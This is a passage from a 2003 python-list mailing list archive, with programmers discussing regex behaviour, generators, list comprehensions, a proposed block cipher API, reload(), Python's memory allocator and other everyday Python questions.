that only the last match of a group will be returned.  Better
still would be an explanation of why the last one was chosen
and how that makes Python's behavior more predictable.

>2.  Oh, what you *really* want is HTML parsing.

No, I *really* want the re module to work like it's documented.
What will I do when I encounter a need to do something like this
and it doesn't happen to be related to HTML?

(What is it with Python people always trying to answer questions
that weren't asked?!  I expect to be blamed for breaking the re
module any moment.)

I do realize I shouldn't have included an HTML example.

>    There are serious limits to RE's applicability
>    in that role, as the columnists of <URL: http://
>    www.unixreview.com/documents/s=2472/uni1037388368795/ >
>    assert.

I certainly did not encounter a limitation with REs - I can
define the solution perfectly using an RE.  The problem is just
getting the Python re module to share its results.  Python's
broken re module doesn't make REs any less appropriate.

Seems like someone from regularexpressions.com would be a bit
more sympathetic...

>    Get an HTML parser--then be ready to
>    tweak it to accept all the junk that roams
>    around in the wild.

Exactly.  I think I've thrown up my hands most times I've
attempted to use an HTML parser.  I considered it for this
task but after thinking about it for awhile I decided that an
RE would be far more elegant.

(In fact, I wanted so much to use REs that I developed this as
a CGI script instead of doing it in Zope, where REs are not
supported.  Maybe this is another good reason for using Zope;
I only have to explain to people why REs can't be used instead
of why their handling is broken.)

--kyler



From gward at python.net  Fri Jan  3 10:26:01 2003
From: gward at python.net (Greg Ward)
Date: Fri, 3 Jan 2003 10:26:01 -0500
Subject: New file utility for shutil - linktree.py
In-Reply-To: <9A77785A255522459FDD2D24C94B27D1F083FA@exmbx02sj.cadence.com>
References: <9A77785A255522459FDD2D24C94B27D1F083FA@exmbx02sj.cadence.com>
Message-ID: <20030103152601.GC1693@cthulhu.gerg.ca>

On 02 January 2003, David MacQuigg said:
> Thanks for your feedback on this proposal.  We could modify copy_tree
> to add a 'link' argument, but that still is not what we need.  The
> resulting 'newtree' would contain a link for every file in the
> oldtree.  The 'linktree' function produces a 'newtree' with only the
> minimum links necessary to access all the old files.  i.e. it doesn't
> descend into directories where there are no new files, but simply
> relies on the link to the old parent directory to access all the old
> files on that branch.

Ahh, OK, I get it.  I didn't see the distinction, but now I do.

> Python can change all this.  In fact we are 90% there with what is in
> the various modules I've looked at.  We just need to put the most
> usefule stuff in one place, add a few minor enhancements, and resist
> the temptation to do everything.  Python has the unique advantage that
> well-written scripts are easy to modify.  So if we leave out some
> option that a user needs, he can easily add it.

It sounds to me like it would be useful for you to have this function in
the standard library, but hardly essential.  IMHO, you should make sure
that you've got exactly what you need and it works perfectly for you.
Once you've done that, release it as a standalone module and see if it's
useful to lots of other people.  If it is, and if it's well-tested and
well-documented, *then* propose it for inclusion in the standard
library.  No need to rush these things.

        Greg
-- 
Greg Ward <gward at python.net>                         http://www.gerg.ca/
I'd like some JUNK FOOD ... and then I want to be ALONE --




From a.clarke11 at ntlworld.com  Thu Jan 23 19:12:05 2003
From: a.clarke11 at ntlworld.com (Tony Clarke)
Date: 23 Jan 2003 16:12:05 -0800
Subject: Python use growing or shrinking
References: <v2rhpd4d6p8f79@corp.supernews.com> <_qOX9.42965$Hl6.5134840@news010.worldonline.dk>
Message-ID: <3353cd1e.0301231612.4bb69e92@posting.google.com>

Max M <maxm at mxm.dk> wrote in message news:<_qOX9.42965$Hl6.5134840 at news010.worldonline.dk>...
> Greg Brunet wrote:
> 
> > There's only a general discussion of their methodology, and I'm not
> > arguing that one should choose a language solely because of it's
> > popularity or rate of increase/decrease (and what's up with RPG having
> > the second fastest growth rate!?!).  Still, it's it provides another
> > viewpoint on 'the language wars'.
> 
> 
> There is no doubt in my mind that Python use is growing! I use it for 
> more and more tasks.
> 
> 
> ;-)
Hi
Python is not a programming language, its a 
pocket tool
way of life
fun machine
mind expander
Corporate promotion? Market share? Its not in the same ball park, and
hurray for that!
IMHO
Tony Clarke



From andrew-pythonlist at puzzling.org  Thu Jan 16 21:48:21 2003
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Fri, 17 Jan 2003 13:48:21 +1100
Subject: Syntax modification idea: (classmethods, properties locking...)
In-Reply-To: <20030117023731.GC3199@frobozz.local>
References: <b077d1$7ag@news.Informatik.Uni-Oldenburg.DE> <fuk70b.il3.ln@beastie.ix.netcom.com> <20030117023731.GC3199@frobozz.local>
Message-ID: <20030117024821.GD3199@frobozz.local>

On Fri, Jan 17, 2003 at 01:37:31PM +1100, Andrew Bennetts wrote:
> 
> The problem is that classmethod and staticmethod are so special that they
                                                   ^^^ I meant to say
                                                       "aren't".  Oops.

-Andrew.





From umer41 at hotmail.com  Tue Jan 21 11:37:37 2003
From: umer41 at hotmail.com (Umer Hanif)
Date: Tue, 21 Jan 2003 16:37:37 +0000
Subject: Unsubscribe
Message-ID: <F59257GHzKNv3MwULqE0001b2d6@hotmail.com>

An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20030121/da056f2e/attachment.html>

From mhammond at skippinet.com.au  Sun Jan 12 18:14:02 2003
From: mhammond at skippinet.com.au (Mark Hammond)
Date: Sun, 12 Jan 2003 23:14:02 GMT
Subject: Python COM and bitmap Resource ID's
In-Reply-To: <opriv9zzvn8cxiwf@news1.on.sympatico.ca>
References: <opriuzx8u98cxiwf@news1.on.sympatico.ca> <opriv9zzvn8cxiwf@news1.on.sympatico.ca>
Message-ID: <_EmU9.4877$UB4.22110@news-server.bigpond.net.au>

I think you will be pushing poo uphill here.  You pass the resource ID 
to the app, but how do you pass the DLL handle or filename?  Would it be 
possible to create a DLL with nothing but resources?

Note that win32ui.pyd does have bitmap resource in it, so if you can 
work out how it works out what DLL it uses, you could first experiment 
with this.

Mark.

Markus Wankus wrote:
> Hmmm....looking through the win32ui documentation, I thought maybe 
> something like:
> 
> win32ui.SetResource(win32ui.LoadLibrary('some_dummy_dll_with_bitmap_resources.dll') 
> )
> 
> ...might do the trik.  It doesn't appear to work.  Does anyone know if I 
> am tryiing to do something that is not possible?
> 
> Thanks,
> Mark.
> 
> On Sat, 11 Jan 2003 18:38:22 -0500, Markus Wankus 
> <markus_wankus at hotmail.com> wrote:
> 
>> Hi everyone,
>>
>> I am playing with Python and COM (win32all).  I have gotten farthan 
>> than I would have thought myself capable of getting.  My ultimate goal 
>> is to use my Python COM server to create a custom toolbar, which will 
>> lauch pure Python scripts inside the app I am customizing.
>>
>> Well, the app I am working with provides this functionality through 
>> the following API funtion:
>>
>> AddToolbar ( Cookie, Title, SmallBitmapResourceID, 
>> LargeBitmapResourceID, MenuPositionForToolbar, DocumentType )
>>
>> Where you must specify the resource ID's of the large and small 
>> bitmap.  Normally these are within the .dll calling the AddToolbar 
>> function, but I don't have a .dll - I have Python!  Is there any way 
>> to fool this into grabbing a bitmap from somewhere? i.e. - Can you 
>> create a resource out of a bitmap on the fly with the win32all 
>> extensions or something?




From phr-n2003b at NOSPAMnightsong.com  Wed Jan 29 03:01:39 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 29 Jan 2003 00:01:39 -0800
Subject: New Python block cipher API, comments wanted
References: <7x3cneku24.fsf_-_@ruckus.brouhaha.com> <yyybs21m67q.fsf@adams.patriot.net> <7x65s9dnea.fsf@ruckus.brouhaha.com> <mailman.1043791529.1041.python-list@python.org> <7xr8awg6lt.fsf@ruckus.brouhaha.com> <3E37240E.DB91BC7F@alcyone.com> <7x1y2wzpr0.fsf@ruckus.brouhaha.com> <3E376CB6.D4A32AF2@alcyone.com> <7xbs208p11.fsf@ruckus.brouhaha.com> <3E377509.6376A031@alcyone.com> <7xsmvcl9gs.fsf@ruckus.brouhaha.com> <3E378028.3FA9B988@alcyone.com>
Message-ID: <7xn0lkz8nw.fsf@ruckus.brouhaha.com>

Erik Max Francis <max at alcyone.com> writes:
> PEPs are Python Enhancement Proposals; they are intended to justify
> (and explain) an enhancement to the developer community, and namely
> to the folk(s) that decide what goes into each release of Python.

Yes, however, in the case of library modules, history shows that
whatever justification takes place is almost always done by means
other than PEPs.  

> > Also, as I mentioned to David, there's already been a PEP for block
> > ciphers (PEP 272) and it wasn't all that helpful.  I don't think
> > anyone has ever implemented what it specifies.  Doing another one
> > doesn't sound terribly worthwhile.  It's just going around in circles.
> 
> Why is it going around circles to revise the PEP that concerns this very
> subject, fulfilling the very role for which PEPs were introduced? 
> Revise the relevant PEP and make it will be accepted into the next
> release.

PEP 272 is about the Python interface to what in the new scheme would
be considered the codebook layer.  In the new scheme, there's less
need for something like PEP 272, because the Python interface to the
codebook is so much simpler than PEP 272 that it's obvious how to do
it.  The stuff that people care about is the user-visible layer, which
is outside of the traditional realm of PEPs.

Note that I don't have a serious problem with the idea of revising PEP
272.  I just don't want it to add a needless delay to releasing actual
code.  The author of PEP 272 has told me he's ok with the new
interface.  Also, the revision would probably mostly deal with
standardizing the C interface to the codebook layer, not the Python
interface.  So the stuff in a revised PEP 272 would just be about how
the internals of codebook modules should work, which only codebook
module implementers would care about.

Be aware too that there's unlikely to be hundreds of these modules.
There will be the two important ones (DES and AES) at first, and a
couple less important ones might conceivably get added later.

> Why does this have to go _in_ Python, anyway?  Why not just release it
> as separate module?

To make applications that use the module more widely deployable.  See
my response to David for further explanation.  

What is the nature of your concern with this subject, anyway?  Do you
intend to use the crypto library, if it's released?  If yes, and if
you have technical concerns about it, why not just state them now
instead of going off on this tangent?



From bokr at oz.net  Sat Jan  4 12:41:50 2003
From: bokr at oz.net (Bengt Richter)
Date: 4 Jan 2003 17:41:50 GMT
Subject: Help, replacing the actual value from a data strucutre in a iterator
References: <c490a7ae.0301031942.5f39a6a8@posting.google.com>
Message-ID: <av76cu$22f$0@216.39.172.122>

On 3 Jan 2003 19:42:51 -0800, gehart24 at yahoo.com (george hart) wrote:

>Hello,
>
>My problem is that I have a very complex data structure I need to
>iterate over and change certain values to.  I wrote a 'generator' to
>iterate over my data structure but when i call the next() method in
>the generator object I am returned a value that cannot be used to
>modifiy the original data structure.
>
>Here is a simplified version of my problem:
>
>a=[0,1,2,[20,30,40],9,3]
>def generator(l):
>    for i in l:
>        if type(i) is list:
>            for q in generator(i):
>                yield q
>        else:
>            yield i
>
>g=generator(a)
>o=g.next()
>o=100   # where i want this assignment to change a[0] to 100
>print a[0]  #thus a[0] would then print out 100
>
>
There are other ways to do what you want, but a simple way close to what you
tried, using lists, is to yield back the relevant list and index along with
the value, in case you want to change the value in the list it was in,
e.g., (obviously substitute your own logic instead of being in the example
hit list of [1, 30, 9, 3] to decide whether to modify the value):

(You could pass back a sequence of indices to get at the relevant list from
the root list, but it is simpler just to pass a reference to the current list
and one index).

====< georgehart.py >====================================
from __future__ import generators

a=[0,1,2,[20,30,40],9,3]
def generator(l):
    ix = 0
    for i in l:
        if type(i) is list:
            for q in generator(i):
                yield q
        else:
            yield (i, l, ix)
        ix += 1

print '\nBefore:',a,'\n----'

g=generator(a)
for tup  in g:
    print 'value %2s is in list %s at index %s' % tup
    o, olist, oix = tup
    if o in [1, 30, 9, 3]:  # use your own logic for change here
        olist[oix]= o +100  # compute your own update value here

print '----\n','After: ',a
=========================================================
which results in this

[ 9:43] C:\pywk\clp>georgehart.py

Before: [0, 1, 2, [20, 30, 40], 9, 3]
----
value  0 is in list [0, 1, 2, [20, 30, 40], 9, 3] at index 0
value  1 is in list [0, 1, 2, [20, 30, 40], 9, 3] at index 1
value  2 is in list [0, 101, 2, [20, 30, 40], 9, 3] at index 2
value 20 is in list [20, 30, 40] at index 0
value 30 is in list [20, 30, 40] at index 1
value 40 is in list [20, 130, 40] at index 2
value  9 is in list [0, 101, 2, [20, 130, 40], 9, 3] at index 4
value  3 is in list [0, 101, 2, [20, 130, 40], 109, 3] at index 5
----
After:  [0, 101, 2, [20, 130, 40], 109, 103]

Regards,
Bengt Richter



From pyth at devel.trillke.net  Fri Jan 31 18:55:03 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Sat, 1 Feb 2003 00:55:03 +0100
Subject: mention of books & extensions welcome, or...? (was Re: Scripting *of* Python)
In-Reply-To: <CNA_9.110715$0v.3202495@news1.tin.it>; from aleax@aleax.it on Fri, Jan 31, 2003 at 08:13:22PM +0000
References: <b1bj7a$i9o$1@jura.cc.ic.ac.uk> <3E39E891.780CFC81@alcyone.com> <mailman.1043983796.19335.python-list@python.org> <3E39FDE4.99EB64D4@alcyone.com> <mailman.1043990705.14436.python-list@python.org> <0Ur_9.148187$AA2.6031796@news2.tin.it> <yyyvg05kzne.fsf@adams.patriot.net> <soy_9.151609$AA2.6131659@news2.tin.it> <mailman.1044038862.11792.python-list@python.org> <CNA_9.110715$0v.3202495@news1.tin.it>
Message-ID: <20030201005503.J10804@prim.han.de>

Alex Martelli wrote:
> holger krekel wrote:
>    ...
> > Anyway, I'd have prefered if you reacted to Nick instead
> > of pushing the case to all of "comp.lang.python" for judgement.
> 
> ???
> 
> How could Nick by himself tell me what the _consensus_ of
> c.l.py may be?  Do you think he's an oracle or something?

You could simply have explained to him why you felt like
mentioning the book you are proofreading.

> He's already clarified that HIS remark was intended as
> facetious (sorry, I didn't get it -- and neither did at
> least some others, judging from posts on this thread),
> but it's still relevant, I think, to try to gather a
> consensus -- and I think I see one emerging.

Even within a group talking in one room there is a lot
of stuff going on when a "consensus" is built.  
On a newsgroup like c.l.py it's certainly not less.

And it also makes a difference if a newcomer asks 
"what's the pythonic way to do ..." or if an 
authoritative person basically asks to approve 
his behaviour.   From your original posting:

"Is this just an isolated opinion, with most readers still
 welcoming mentions and details about Python books and
 extension packages; or, has comp.lang.python's consensus
 shifted so drastically, so fast, so that such mentions are
 now seen as undesirable "product placement"???"

This is not really "to try to gather a consensus" 
but uses quite some rhetorical power to push in a certain
direction. That's why i said

> > I'd have prefered if you reacted to Nick instead
> > of pushing the case to all of "comp.lang.python" for judgement.

regards,

    holger




From dave at pythonapocrypha.com  Thu Jan 16 15:12:09 2003
From: dave at pythonapocrypha.com (Dave Brueck)
Date: Thu, 16 Jan 2003 12:12:09 -0800 (PST)
Subject: comprehensions was Re: Switch statements again
In-Reply-To: <20030116125438.F13035@localhost.localdomain>
References: <1042670767.3e25e4afa12e5@www.progoth.com>
 <mailman.1042672181.22990.python-list@python.org>
 <a8b7f07a.0301160724.424a1025@posting.google.com> <200301160736.18786.shalehperry@attbi.com>
 <Pine.LNX.4.51.0301160916220.9165@ns0.tbye.com> <20030116125438.F13035@localhost.localdomain>
Message-ID: <Pine.LNX.4.51.0301161156290.9345@ns0.tbye.com>

On Thu, 16 Jan 2003, Jack Diederich wrote:

> > FWIW, I found simple list comprehensions to be one of the least taxing
> > Pythonisms to get used to - IMO the syntax maps very obviously to the
> > behavior.
[snip]
> l = [x for x in l if x > 5]
>                   ^^^^^^^^^
>
> The actual action is hidden at the end, we're doing a filter()

Hidden? In what way?

One other thing I like about comprehensions is that, as they become
more complex, their readability (IMO) often degrades more slowly than when
you use an alternate approach, e.g. to me the following is still very
readable even though it does a lot more than the original example:

[v.split() for k,v in d.items() if k > 0]

I'm generally not a big fan of trying to squeeze a lot into a single line
of code, but comprehensions like the above are common exceptions because I
don't find them obscure or confusing.

> Less of a good reason, but map() and filter() exist in other languages
> so they are more broadly recognizable even to newbies.

Which languages (besides Lisp-ish ones) are you thinking of? Are the
languages common enough and are map/filter used commonly enough in those
languages to really constitute a large percentage of newbies? Just curious
about what you mean.

In any case, I'm not opposed to map/filter/etc - I just don't use them
that often - but I've always had a tough time understanding criticisms of
list comprehensions. :)

Have fun,
Dave




From chris.gonnerman at newcenturycomputers.net  Sun Jan 26 08:53:36 2003
From: chris.gonnerman at newcenturycomputers.net (Chris Gonnerman)
Date: Sun, 26 Jan 2003 07:53:36 -0600
Subject: Emacs has eaten my python tabs!!!
References: <1043563632.4966.71.camel@refugeeMedia>
Message-ID: <001b01c2c542$5a8e8c00$ba01010a@local>

----- Original Message ----- 
From: "Mongryong" <Mongryong at sympatico.ca>


> Ok, I did some cut and paste from python source which had different
> tabs.  In emacs it appears the tabs are in the right place but Python is
> complaining about indentation errors.  I've tried changing the
> tab-width/tab-stop in emacs but still no luck.

No help for it now... you'll just have to replace
all the tabs with spaces (or run a tool that corrects
tab positioning in Python source).

The standard library module "tabnanny.py" can be used
to *find* ambiguous tab/space mixtures, but it doesn't
fix them for you.

Chris Gonnerman -- chris.gonnerman at newcenturycomputers.net
http://newcenturycomputers.net

 




From peter at engcorp.com  Wed Jan 29 10:33:03 2003
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 29 Jan 2003 10:33:03 -0500
Subject: import View
References: <290120031451363280%francesco@akiraland.net>
Message-ID: <3E37F42F.790317F9@engcorp.com>

francesco nerieri wrote:
> 
> cannot find any lib that let me have a "import View", anyone knows wich
> module had I to install?

Are you saying you want to be able to type "import View" and have it
do something other than give an error?

Or is an "import View" some strange entity that I haven't heard of?

Your question is, at least to me, very unclear and I doubt you'll get
a useful answer unless you provide a lot more background.  What are
you hoping to achieve, what platform are you on, what are your
requirements, what's the airspeed of an unladen swallow, that kind of 
thing...

-Peter



From tim.one at comcast.net  Sun Jan 26 12:05:01 2003
From: tim.one at comcast.net (Tim Peters)
Date: Sun, 26 Jan 2003 12:05:01 -0500
Subject: memory leak with large list??
In-Reply-To: <c76ff6fc.0301252339.39db2df5@posting.google.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCMEIGDKAB.tim.one@comcast.net>

[Bengt Richter]
> Why do you need to duplicate the type pointer for all those? I.e., if
> you allocated space in decent-size arrays of object representations
> without type pointer, and just reserved a header slot in front of the
> array, ...

[John Machin]
> You'll have to pardon me if my brain appears fried (possible; 40
> degrees (Celsius) here yesterday) but I don't understand Bengt's
> question, nor Tim's answer.
>
> Shouldn't the answer be: (a) You can't do that with the Python "list"
> container, which can contain objects of *any* type (b) You can do that
> with a different container, if you restrict all the objects in the
> container to being of the one type (c) That has been done, for many
> types; see the "array" module.

Bengt is describing a space-saving trick that relies on address calculation
to deduce the type of an object.  Suppose instead of having a pointer to a
type object at the start of every Python object, we had no per-object type
pointers at all.  Instead all of memory is carved into (say) 128KB chunks,
each aligned (this part is crucial) at an address evenly divisible by 128K.
Only the first 4 bytes of a chunk contain a type pointer.  Each chunk can
hold objects of only a single type, and all objects in a chunk share the
4-byte type pointer at the start of the chunk.  To get from an address p to
its type, then, you mask off the low bits to get to the closest-preceding
128KB boundary, and read up the 4 bytes at that address to get a pointer to
the type object.

Python doesn't do this, and it can't be done sticking to standard C:  the
address calculations required rely on architecture assumptions that aren't
always true (for example, word-addressed machines screw it up a little, and
tagged architectures using low-order address bits for metadata screw it
royally).  Python's small-object allocator nevertheless does "something like
it", carving large chunks of storage into aligned "pools", and storing
common pool info at pool-aligned addresses.  The pool info for an object is
later gotten via address calculation.

If Python is ported to a box where that fails, the Python small-object
allocator can be disabled via config fiddling.  It's also the case that,
even when it's enabled, Python doesn't insist than anyone (meaning 3rd-party
extension modules) use Python's small-object allocator.  If they want to
allocate extension objects with the platform malloc, or their own malloc, or
whatever, Python doesn't care.  Forcing everyone to use Python's allocator
wouldn't fly, and if getting a pointer to a type object *required* address
calculation, Python would have to insist that everyone use Python's memory
layer.

All in all, it's a lot easier if people just buy more RAM <0.9 wink>.





From exarkun at intarweb.us  Fri Jan 31 11:04:49 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Fri, 31 Jan 2003 11:04:49 -0500
Subject: Help with Regular Expressions matching
In-Reply-To: <Pine.LNX.4.44.0301311248480.4213-100000@indica.cc.iitb.ac.in>
References: <Pine.LNX.4.44.0301311248480.4213-100000@indica.cc.iitb.ac.in>
Message-ID: <20030131160449.GA6656@meson.dyndns.org>

On Fri, Jan 31, 2003 at 12:56:53PM +0530, ajit k jena wrote:
> 
> Hi,
> 
> I have the following requirement:
> 
> 	I have a mailman mailing list. This is a public list where
> 	anyone can post without joining the list. But now I wish to
> 	restrict the posters to a particular set. In particular, what
> 	I want is to allow email addresses of the form:
> 
> 		user at mydomain.name
> 		user at subdomain.mydomain.name
> 
> 	I wish to disallow all other addresses.
> 

    allowedDomains = ('mydomain.name', 'subdomain.mydomain.name')
    for d in allowedDomains:
      if email.endswith('@' + d):
        break
    else:
      raise ValueError, "address not allowed"


  Jp

-- 
C/C++/Java/Perl/Python/Smalltalk/PHP/ASP/XML/Linux (User+Admin)
Genetic Algorithms/Genetic Programming/Neural Networks
Networking/Multithreading/Legacy Code Maintenance/OpenGL
See my complete resume at http://intarweb.us:8080/
-- 
 up 46 days, 7:49, 5 users, load average: 0.55, 0.34, 0.16
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030131/db76305e/attachment.sig>

From throwaway at mit.edu  Sun Jan 26 17:36:01 2003
From: throwaway at mit.edu (Alex Coventry)
Date: 26 Jan 2003 17:36:01 -0500
Subject: Getting SuperUser Authority From Within Running Python Program
References: <mq7v0b.6g8.ln@boundary.tundraware.com> <mailman.1043541527.18943.python-list@python.org> <2ot01b.atg.ln@boundary.tundraware.com> <mailman.1043616889.11303.python-list@python.org>
Message-ID: <87adhnmtda.fsf@mit.edu>

> I was busy there on the front lines when this began happening in the
> v7/4.1bsd days of unix and helped prove that this problem was
> inevitable, and that there was no way to fix it (at that time).

well, you could require binaries used in #! lines to take a file
descriptor, rather than a path name.

alex.




From skip at pobox.com  Thu Jan  2 16:21:11 2003
From: skip at pobox.com (Skip Montanaro)
Date: Thu, 2 Jan 2003 15:21:11 -0600
Subject: Executing a modified function
In-Reply-To: <r0idna5vDeAYNImjXTWcqg@comcast.com>
References: <r0idna5vDeAYNImjXTWcqg@comcast.com>
Message-ID: <15892.44359.169857.575881@montanaro.dyndns.org>

    Dave> Is there a way to force the new version [of my function] to be
    Dave> executed in this situation, without leaving python and starting
    Dave> again?

In most instances, yes.  If you defined a function named "say_hello" in a
module named "talking_heads", you could edit talking_heads.py to modify
say_hello(), then execute

    reload(talking_heads)

to gain access to the new version of say_hello().

If you originally got to say_hello() via something like

    from talking_heads import say_hello

getting at an updated version of say_hello is a bit more complex:

    import talking_heads         # to get an object to pass to reload()
    reload(talking_heads)
    from talking_heads import say_hello

Skip




From mgarcia at cole-switches.com  Tue Jan  7 21:04:39 2003
From: mgarcia at cole-switches.com (Manuel M. Garcia)
Date: Wed, 08 Jan 2003 02:04:39 GMT
Subject: moving items in a list
References: <mailman.1041975230.11524.python-list@python.org>
Message-ID: <kg1n1v4ef9d6re2g53p1nvs4vvqohsqogl@4ax.com>

def move_up(l, m):
    for i in range(1, len(l)):
        if l[i] in m:
            l[i-1],l[i] = l[i],l[i-1]

def move_down(l, m):
    for i in range(len(l) - 2, 0, -1):
        if l[i] in m:
            l[i],l[i+1] = l[i+1],l[i]

Manuel

On Tue, 7 Jan 2003 15:30:07 -0600, "Mark McEahern" <mark at mceahern.com>
wrote:
(edit)
>def move_up(l, m):
>    """Move items in m found in l up one position."""
>    for i in range(len(l)):
>        if i == 0:
>            continue
>        item = l[i]
>        if item not in m:
>            continue
>        j = i - 1
>        swap_with = l[j]
>        l[i] = swap_with
>        l[j] = item
>
>def move_down(l, m):
>    """Move items in m found in l down one position."""
>    for i in range(len(l) - 1, 0, -1):
>        if i == len(l) - 1:
>            continue
>        item = l[i]
>        if item not in m:
>            continue
>        j = i + 1
>        swap_with = l[j]
>        l[i] = swap_with
>        l[j] = item




From nilobject at mac.com  Sun Jan 26 15:55:52 2003
From: nilobject at mac.com (Tyson Tate)
Date: Sun, 26 Jan 2003 12:55:52 -0800
Subject: Null number input
Message-ID: <8E90FD7E-3170-11D7-9DBB-000393DC08EA@mac.com>

When I use raw_input, I'm able to not enter anything and just hit 
return, yet with input, I get "unexpected EOF while parsing" if I don't 
enter anything. The code I am using is as follows (my remarks = #):

	userInfo["firstName"] = raw_input("First Name: ")	   # Works fine
	userInfo["lastName"] = raw_input("Last Name: ")       # same here
	userInfo["age"] = input("Age: ")       # entering nothing gives me the 
error
	userInfo["SSN"] = input("SSN: ")

Would I have to do something like int(raw_input("Age: ")) or is there a 
better way?

TIA

--
Tyson Tate, Editor
Entropy Magazine
"Nourishment For The Starved."
http://www.entropymag.net





From ianb at colorstudy.com  Tue Jan 28 00:23:43 2003
From: ianb at colorstudy.com (Ian Bicking)
Date: 27 Jan 2003 23:23:43 -0600
Subject: Web Services with Python [Newbie]
In-Reply-To: <wInZ9.2011$4r6.866464896@newssvr13.news.prodigy.com>
References: <wInZ9.2011$4r6.866464896@newssvr13.news.prodigy.com>
Message-ID: <1043731423.29626.76.camel@lothlorien>

On Mon, 2003-01-27 at 22:31, ewalstad wrote:
> Hi all,
> 
> I am interested in learning a bit about web services using the SOAP 
> protocol and would like to do so with Python.

If SOAP isn't a requirement you should consider XMLRPC, which is
considerably easier to work with.  There are modules included with
Python 2.2, and support among Python web frameworks is widespread.

-- 
Ian Bicking           Colorstudy Web Development
ianb at colorstudy.com   http://www.colorstudy.com
PGP: gpg --keyserver pgp.mit.edu --recv-keys 0x9B9E28B7
4869 N Talman Ave, Chicago, IL 60625 / (773) 275-7241





From pbouige at free.fr  Wed Jan  1 16:00:23 2003
From: pbouige at free.fr (pbouige)
Date: Wed, 1 Jan 2003 22:00:23 +0100
Subject: Fw: Re: Quick tutorial on using the unicodedata module?
References: <mailman.1041379026.27989.python-list@python.org> <m3vg192w2y.fsf@mira.informatik.hu-berlin.de> <nlh61vc31lulq5l02mnlesvl1q4kh4hham@4ax.com>
Message-ID: <Usenet.ifmngjkk@localhost>

Christos "TZOTZIOY" Georgiou wrote:
> 
> On 01 Jan 2003 08:00:37 +0100, rumours say that martin at v.loewis.de
> (Martin v. L?wis) might have written:
> 
> >downloading the Unicode database, and searching for a characters with
> >grep(1) is much more appropriate.
> 
> Would this help at all?
> 
> import unicodedata, sys
> 
> unicode_names= []
> for ix in range(sys.maxunicode+1):
>     try:
>         unicode_names.append( (ix, unicodedata.name(unichr(ix))) )
>     except ValueError: # no name for the character
>         pass
> 
> This is to be used for a grep-like function... therefore a list of
> tuples (indexing the list is not meaningful).
> 
> Happy new year to everyone following AD time notation :)





From robin at jessikat.fsnet.co.uk  Fri Jan  3 08:31:12 2003
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Fri, 3 Jan 2003 13:31:12 +0000
Subject: ReportLab 1.17 Released
Message-ID: <Ytw3coAgCZF+Ew4U@jessikat.demon.co.uk>

Version 1.17 of the ReportLab Toolkit has been released.

Main changes since ReportLab 1.16:
- Pythonpoint improvements contributed by Turgut Uyar & Tim Roberts.
- Para.py fix from doug at pennatus.com.
- Pdfgen image fixes.
- Spiderchart from Andy Robinson.
- Better distutils support with Dirk Datzert's assistance.
- Improvements for Asian fonts in paragraphs.
- Added _rl_accel._Ascii85Decode.
- Graphics and other bug fixes.
-- 
Robin Becker



From eladioventura at hotmail.com  Sun Jan  5 09:26:22 2003
From: eladioventura at hotmail.com (Eladio Ventura)
Date: Sun, 5 Jan 2003 14:26:22 +0000
Subject: Regex Error Handling?!
Message-ID: <20030105142622.GA13596@hotmail.com>

I have a list of various mailing lists of interest which I want to
process via a regex. Unfortunately the app crashes as soon as it gets
to a line which doesn't match the regex, such as an empty line and the
like. These are of the type 'NoneType', but I still can't figure out
how to make it ignore non-matches to create a stable program. *sigh* 

Any ideas? I probably need a "next if" statement or something, but I'm
new to Python, so...

Here is a sample list to play with:
-----------------------------------
### a list of cool mailing lists###
subscribe mutt-users
subscribe c-prog

subscribe pgsql-general
subscribe vim
subscribe mysql

#subscribe gnu-screen
subscribe unicode

#subscribe Gnu-Screen
#subscribe help-gnu-emacs
subscribe python-list
subscribe zsh-users  
------------------------------------

And here my own pathetic attempt to illustrate the problem:

def regex(lines, part):
	"""Compile regex, return list of matches"""
	# problemo: none-matches: NoneType
	import re
	matches = []
	mismatch = "<type 'NoneType'>"
	regex = re.compile('(\w+)\s+(.*)')

	for line in lines:
		result = regex.search(line)
		test = type(result)
		if test == mismatch: 
		   print "We got a mismatched line!"
		else:
	   	   match = result.group(part)
		   matches.append(match)
																					   	
    return matches

def show_active_lists():
	"""list mailbox regex subscribe"""	
	file = open("samplelist", "r")
	lines = file.read().splitlines()
	matches = regex(lines, 2)
	for match in matches: 
		print match

if __name__ == "__main__" :
	show_active_lists() 
-- 
"Thinking gives you wrinkles!"
Malibu Stacy, the Simpsons




From anthony at interlink.com.au  Thu Jan 23 09:35:54 2003
From: anthony at interlink.com.au (Anthony Baxter)
Date: Fri, 24 Jan 2003 01:35:54 +1100
Subject: Outlook Express and COM 
In-Reply-To: <v2vt41s6a798c6@corp.supernews.com> 
Message-ID: <200301231435.h0NEZsp10181@localhost.localdomain>

>>> Cameron Laird wrote
> In article <b0kqpb$qkdla$1 at ID-136433.news.dfncis.de>,
> Alex K. Angelopoulos <aka at mvps.org> wrote:
> >That's correct - OE is NOT COM-exposed.
> However, there's apparently (I haven't done it myself yet)
> a way to pretend it is <URL: http://
> support.microsoft.com/default.aspx?scid=kb;en-us;Q230225 >.

Huh? In reading this page, I see no mention of OE:

OL2000: How to Create a COM Add-in for Outlook
The information in this article applies to:

    * Microsoft Outlook 2000

Are we reading the same page? Am I going blind?

Anthony

-- 
Anthony Baxter     <anthony at interlink.com.au>   
It's never too late to have a happy childhood.





From ryujin at libero.it  Sun Jan 12 07:13:18 2003
From: ryujin at libero.it (Matteo Memelli)
Date: Sun, 12 Jan 2003 12:13:18 GMT
Subject: C-ISAM
Message-ID: <pan.2003.01.12.12.12.55.655885@libero.it>

Anybody knows if and how is it possible to access to C-ISAM files with
python? Is there any module or API to do that?
Thx alot

Matte



From eRrEiMcOgVoErMrE at cox.net  Tue Jan 28 18:28:22 2003
From: eRrEiMcOgVoErMrE at cox.net (Eric)
Date: Tue, 28 Jan 2003 18:28:22 -0500
Subject: [Q] Customizable text editor based on Python? 
Message-ID: <1fpidub.1nl29qx1bozn22N%eRrEiMcOgVoErMrE@cox.net>

I was wondering if people could point me to a text editor which can be
